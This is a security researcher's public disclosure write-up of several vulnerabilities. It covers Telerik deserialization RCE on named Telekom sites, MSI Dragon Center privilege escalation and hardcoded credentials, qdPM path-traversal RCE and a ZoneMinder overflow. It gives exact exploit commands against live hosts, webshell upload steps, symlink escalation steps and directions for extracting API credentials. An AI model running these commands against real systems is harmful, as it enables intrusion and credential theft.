Public_Disclosure

Sharing POC's of latest discovery

Unauthenticated RCE in https://learnnow.telekom.de/

Vulnerability – Insecure Deserialzation Vulnerability

Vulnerability Description – Telerik UI for ASP.NET (Version - 2016.3.1018) was being used by the application. It suffers from a known vulnerability CVE-2019-18935 (Insecure Deserialization). Using basic fingerprinting (Client-side source) it was revealed that the application uses a vulnerable Telerik version.

Available exploit/Steps to Reproduce –

`Exploit 1:` https://github.com/noperator/CVE-2019-18935/tree/master/RAU_crypto

- Running the above exploit will allow us to upload any supplied file to any writable directory on the vulnerable system. I choose writing to the "C:\Windows\Temp" directory with a harmless Text file, which was successfully uploaded to the target system. Below shared is the command ran.

Command - `python RAU_crypto.py -P "c:\\\Windows\\\Temp" 2016.3.1018 test.txt https://learnnow.telekom.de/SuiATTools//Telerik.Web.UI.WebResource.axd?type=rau` Screenshot - `[Attached - 1.png]`

`Exploit 2:` https://github.com/noperator/CVE-2019-18935/blob/master/CVE-2019-18935.py

- Since the earlier exploit was completely blind, this time ran another exploit, which would actually do an insecure deserialization of a Mixed Model Dll file & cause a sleep of 10 seconds [sleep(10000)] to the application (Time-based approach). Again making sure no harm is done to the system.

Command - `python CVE-2019-18935.py -u https://learnnow.telekom.de/SuiATTools//Telerik.Web.UI.WebResource.axd?type=rau -v 2016.3.1018 -f C:\\\Windows\\\Temp -p sleep_2020092314140184_amd64.dll`

Screenshot - `[Attached - 2.png]`
`[Attached - 3.png]`

Team reached out asking to get a reverse shell, so that they can conclusively estimate its security impact.

Unfortunately, the connection for some reason was getting blocked (https://github.com/noperator/CVE-2019-18935/blob/master/reverse-shell.c, possibly some endpoint protection. Digging further, I was able to get a FPD (Full path disclosure) in another domain of telekom - https://salesacademy.telekom.de/SAMSuiTools/

`D:\IIS_Root\SAMSuiTools\redacted:`

Assuming, both the domanis being hosted on the same domain, using `Exploit 1:` I again uploaded a harmless text file to the above disclosed directory & it worked! I was able to confirm the same by visiting https://salesacademy.telekom.de/SAMSuiTools/test.txt . Since i had the permission to do a reverse shell, i uploaded a simple/custom written webshell to get a execute commands. [The webshell too was getting deleted after few seconds of upload, possibly an EPP solution?

- Git clone the exploit - https://github.com/noperator/CVE-2019-18935
- Install python3 & pip3 install the module "pycryptodome"
- Place the webshell in the RAU_crypto directory.
- Now run the below command - Command - `python3 RAU_crypto.py -P "D:\\\IIS_Root\\\SAMSuiTools" 2016.3.1018 bugbounty.aspx https://learnnow.telekom.de/SuiATTools//Telerik.Web.UI.WebResource.axd?type=rau`
- Upon successful upload, you will see a succesful response.

Screenhot - `[RCE - salesacademy.png]` `[RCE- salesacademy_telekom_de.png]`

So I ended up getting access to both https://learnnow.telekom.de/ & https://salesacademy.telekom.de/.

Helpful link - https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui

MSI Dragon Center EOP (CVE-2020-13149)

Vulnerability – Local Privilege escalation due to weak ACL

Vulnerable Version – Dragon Center 2 - 2.5.1905.3001 & Prior

Fixed Version – Dragon Center 2 - 2.6.x & Later

Vulnerable Binaries – Dragon Center.exe (C:\Program Files (x86)\MSI\MSI Remind Manager)

Vulnerability Description – There are insecure file permissions on "C:\ProgramData\MSI\Dragon Center" folder in Dragon Center Software, shipped with MSI Gaming laptops, allowing local authenticated users to overwrite system files and gain escalated privileges & also bypass controls to change software settings, allowing execution of malware planted in the same directory. This issue affects 2.5.1905.3001 & Prior versions of Dragon Center. This affects the integrity of the system.

Normal Attack Scenario to Bypass control - An attacker can carry out a very simple attack, bypassing the controls to change certain settings of Dragon Center, which he doesn't has access to.

```
Steps to reproduce –
```

- Create two users in windows, one belonging to administrator group & other a normal user group. The software runs with administrator privileges; hence will be prompted with a password if user tries accessing it. As a user, you don't have admin's password, still we can manage to change few settings of Dragon Center by manipulating certain files located in "C:\ProgramData\MSI\Dragon Center". The problem here being, the permissive ACL.

  `Scenario 1` - To change Battery Master settings via user account, change the value stored in BatteryMaster.txt. Value 0 points to the first option under Battery Master that is "Best for Mobility" & other as 1,2 mapping to the later options.

  `Scenario 2` - To Change Recommended Apps under "Tools & Help", change the value inside Apps.json. Here what an attacker can achieve is, he can place a malware binary inside the same directory as App.json, as that directory is also writable by the attacker (Normal user). Now he will also replace the path of the existing Recommended App binary, that is the legitimate binary, with the one (malware) he planted in the same directory. To make it look more legitimate, the attacker will use the same Icon file as the legitimate one.

Advanced Attack Scenario for EOP - An attacker can carry out an advanced attack, allowing a normal user to delete arbitrary system level files, which normally can't be done, as he doesn't has write access.

```
Steps to reproduce –
```

- Empty out "C:\ProgramData\MSI\Dragon Center"
- Create a symlink of the arbitrary file (C:\Windows\System32\protected.dll) to the RPC object (\RPC Control\battery.txt).
- Next, Mounting the RPC directory "\RPC Control" to "C:\ProgramData\MSI\Dragon Center"
- Now next time the Dragon Center is ran by the administrator & if he attempts to change Battery settings, a Boolean value will be written to the battery.txt, which now points to the protected.dll (symlink), thereby corrupting the dll.

MSI Dragon Center - Hardcoded Keys & Credentials

Vulnerability – Hardcoded API Keys & Credentials

Vulnerable Version – Dragon Center 2 - 2.5.1905.3001 & Prior

Fixed Version – Dragon Center 2 - 2.6.x & Later (Vendor never acknowledged)

Vulnerable Binaries – Dragon Center.exe (C:\Program Files (x86)\MSI\MSI Remind Manager)

Vulnerability Description – The Binary after being decompiled, revels the complete source. Upon analysis, it was reveled that it contained a hardcoded Credentials & API Key for the domain https://register.msi.com/rest/.

Available exploit/Steps to Reproduce –

- Using a tool named dnSpy, load the .NET binary & attempt to decompile it.
- Upon successful decompilation, navigate to MainWindow class routine & search for keyword "/rest"
- You can find the API request with the API Keys to access & the credentials.
- Now an attacker can simply navigate to https://register.msi.com/rest/ & login.

MSI Dragon Center - Local Denial of serice

Vulnerability – Crashing Dragon Center (Local Denial of service)

Vulnerable Version – Dragon Center 2 - 2.5.1905.3001 & Prior

Fixed Version – Dragon Center 2 - 2.6.x & Later (Vendor never acknowledged)

Vulnerable Binaries – Dragon Center.exe (C:\Program Files (x86)\MSI\MSI Remind Manager)

Vulnerability Description – When supplied with a crafted, malformed image file, the Dragon Center fails to handle the image & crashes the application.

Available exploit/Steps to Reproduce –

- Open Dragon Center & navigate to "System Tuner", then to "Profile 01".
- Now attempt to upload the below linked image file to the profile photo & click on apply, the app would crash.

POC - https://drive.google.com/file/d/1h_OytMZmZmUbd3VYoYY31pNp3hUB3Prm/view

qdPM RCE (CVE-2020-7246)

Vulnerability – Path Traversal & Improper Access Control leading to RCE

Vulnerable Version – qdPM - 9.1 & prior

Fixed Version –

Vulnerability Description – An attacker (user with least privilege) can abuse the remove profile photo functionality to traverse through other directories & delete files on the server. In a attack scenario, it's possible to delete exsisting ".htaccess" file in the uploads & user directory, which would allow bypassing protection applied against running dangerous file types (php, html, exe). Leveraging this, it's possible to upload a php backdoor, gaining ability to execute commands on the server.

Available exploit -

- Working exploit is available at - https://www.exploit-db.com/exploits/47954. `python qdPM-exploit.py -url http://IPADDRESS -u test1@localhost.com -p test1`
- Also this CVE has been fetured in AttackDefence Lab - https://www.attackdefense.com/challengedetailsnoauth?cid=1690

Zoneminder (CVE-2019-6991)

Vulnerability – Classic Stack overflow vulnerability

Vulnerable Version – 1.33.1 & Prior

Fixed Version –

Affected Binary – zmu

Vulnerability Description – The vulnerability exists in function zmLoadUser(), in zm_user.cpp, while authenticating the user. The vulnerability exists in the login functionality. Once a username & password is supplied to the zmu binary, the username & password is passed through mysql_real_escape_string() function in order to produce an escaped SQL string. Due to absense of any protection and limitation placed to the length of username & password, there exists a stack based buffer overflow.

Find more info at -

- ZoneMinder/zoneminder#2478
- ZoneMinder/zoneminder#2482

Available exploit -

- Working exploitation steps can be found at - https://www.sechustle.com/2020/01/discovering-exploiting-stack-overflow.html